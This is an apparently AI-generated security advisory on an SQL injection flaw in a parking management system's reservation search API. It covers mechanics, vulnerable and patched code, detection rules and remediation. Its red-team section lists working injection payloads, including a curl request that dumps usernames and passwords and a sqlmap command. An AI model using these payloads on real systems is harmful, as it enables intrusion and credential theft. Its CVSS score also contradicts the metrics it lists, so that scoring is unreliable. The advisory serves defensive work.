CVE-2025-6117

Executive Summary

CVE-2025-6117 is a critical SQL injection vulnerability discovered in the Das Parking Management System (停车场管理系统) version 6.2.0. The flaw resides in the /Reservations/Search API endpoint, where the Value argument is not properly sanitized before being used in database queries. This allows an unauthenticated remote attacker to inject arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and further lateral movement within the network. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available.

Supply Chain & Package Security

This vulnerability affects a proprietary parking management system developed by Das. It is not an open-source package (NPM, PyPI, Go, Ruby), so supply chain package security concerns are not directly applicable. However, organizations using this system should treat it as a high-risk component and consider isolating it from critical networks until a patch is released.

CVSS Breakdown & Threat Level

CVSS Score: 7.3 (HIGH)

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attack is straightforward.
• Privileges Required (PR): None (N) – No authentication is needed to exploit the flaw.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database operations can be disrupted.

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and public exploit disclosure makes this a high-priority vulnerability for immediate remediation.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the /Reservations/Search API endpoint. The application likely constructs a SQL query by directly concatenating the user-supplied Value parameter without proper sanitization or parameterized queries.

Example vulnerable code (pseudo):

SELECT * FROM reservations WHERE reservation_id = '" + request.getParameter("Value") + "'

An attacker can inject SQL commands by providing a malicious Value parameter. For example:

Value=1' OR '1'='1

This would result in the query:

SELECT * FROM reservations WHERE reservation_id = '1' OR '1'='1'

Returning all records from the reservations table.

More sophisticated payloads can be used to extract data from other tables, execute system commands (if the database has sufficient privileges), or perform blind SQL injection to enumerate the database schema.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

String value = request.getParameter("Value");
String query = "SELECT * FROM reservations WHERE reservation_id = '" + value + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Conceptual):

String value = request.getParameter("Value");
String query = "SELECT * FROM reservations WHERE reservation_id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, value);
ResultSet rs = pstmt.executeQuery();

The patched version uses a parameterized query (PreparedStatement), which ensures that user input is treated as data, not executable code. This completely mitigates SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of Das Parking Management System 6.2.0 in an isolated environment.
2. Use a tool like Burp Suite or curl to interact with the API.

Exploitation Steps:

1. Identify the vulnerable endpoint: /Reservations/Search
2. Send a crafted request with a malicious Value parameter.

Example curl command:

curl -X GET "http://target.com/Reservations/Search?Value=1'%20UNION%20SELECT%20null,username,password,null,null%20FROM%20users--"

Manual SQL Injection Payloads:

• Boolean-based blind: Value=1' AND 1=1--
• Time-based blind: Value=1' WAITFOR DELAY '0:0:5'--
• Union-based: Value=1' UNION SELECT null,@@version,null,null,null--

Automated Exploitation: Use sqlmap for automated exploitation:

sqlmap -u "http://target.com/Reservations/Search?Value=1" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL query patterns in database logs.
• Look for requests to /Reservations/Search with suspicious Value parameters containing SQL keywords (e.g., UNION, SELECT, OR, AND, --).
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.

Mitigation:

• Apply input validation and parameterized queries immediately.
• If patching is not possible, restrict network access to the vulnerable endpoint.
• Use a WAF to filter malicious payloads.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /Reservations/Search with Value parameter containing SQL syntax.
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• Outbound database connections to unexpected IP addresses (data exfiltration).

File IOCs:

• Unexpected files in the web root (e.g., webshells).
• Modified application configuration files.

Log IOCs:

• Database logs showing queries with injected SQL commands.
• Web server logs showing repeated requests to /Reservations/Search with varying Value parameters.

Detection Engineering

YARA Rule

rule CVE_2025_6117_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-6117"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6117"
    strings:
        $s1 = "/Reservations/Search" ascii nocase
        $s2 = "Value=" ascii nocase
        $s3 = "UNION" ascii nocase
        $s4 = "SELECT" ascii nocase
        $s5 = "OR" ascii nocase
        $s6 = "AND" ascii nocase
        $s7 = "--" ascii nocase
        $s8 = "WAITFOR" ascii nocase
    condition:
        $s1 and $s2 and (any of ($s3..$s8))
}

Sigma Rule

title: SQL Injection Attempt Against Das Parking Management System
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-6117
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6117
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/Reservations/Search"
            - "Value="
        cs-uri-query|contains|all:
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of the word "UNION" in a search query (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6117 SQL Injection Attempt"; flow:to_server,established; content:"/Reservations/Search"; http_uri; content:"Value="; http_uri; pcre:"/(UNION|SELECT|OR|AND|--|WAITFOR)/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the system: If possible, disconnect the vulnerable system from the network until a patch is applied.
2. Apply virtual patching: Use a WAF to block SQL injection patterns targeting /Reservations/Search.
3. Restrict access: Limit network access to the vulnerable endpoint to trusted IP addresses only.

Long-term Fix:

• The vendor (Das) must release a patched version that uses parameterized queries or stored procedures.
• If the source code is available, manually implement input validation and parameterized queries.

Compensating Controls:

• Enable detailed logging and monitoring for the vulnerable endpoint.
• Implement database activity monitoring to detect anomalous queries.
• Conduct a full security audit of the application for similar vulnerabilities.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.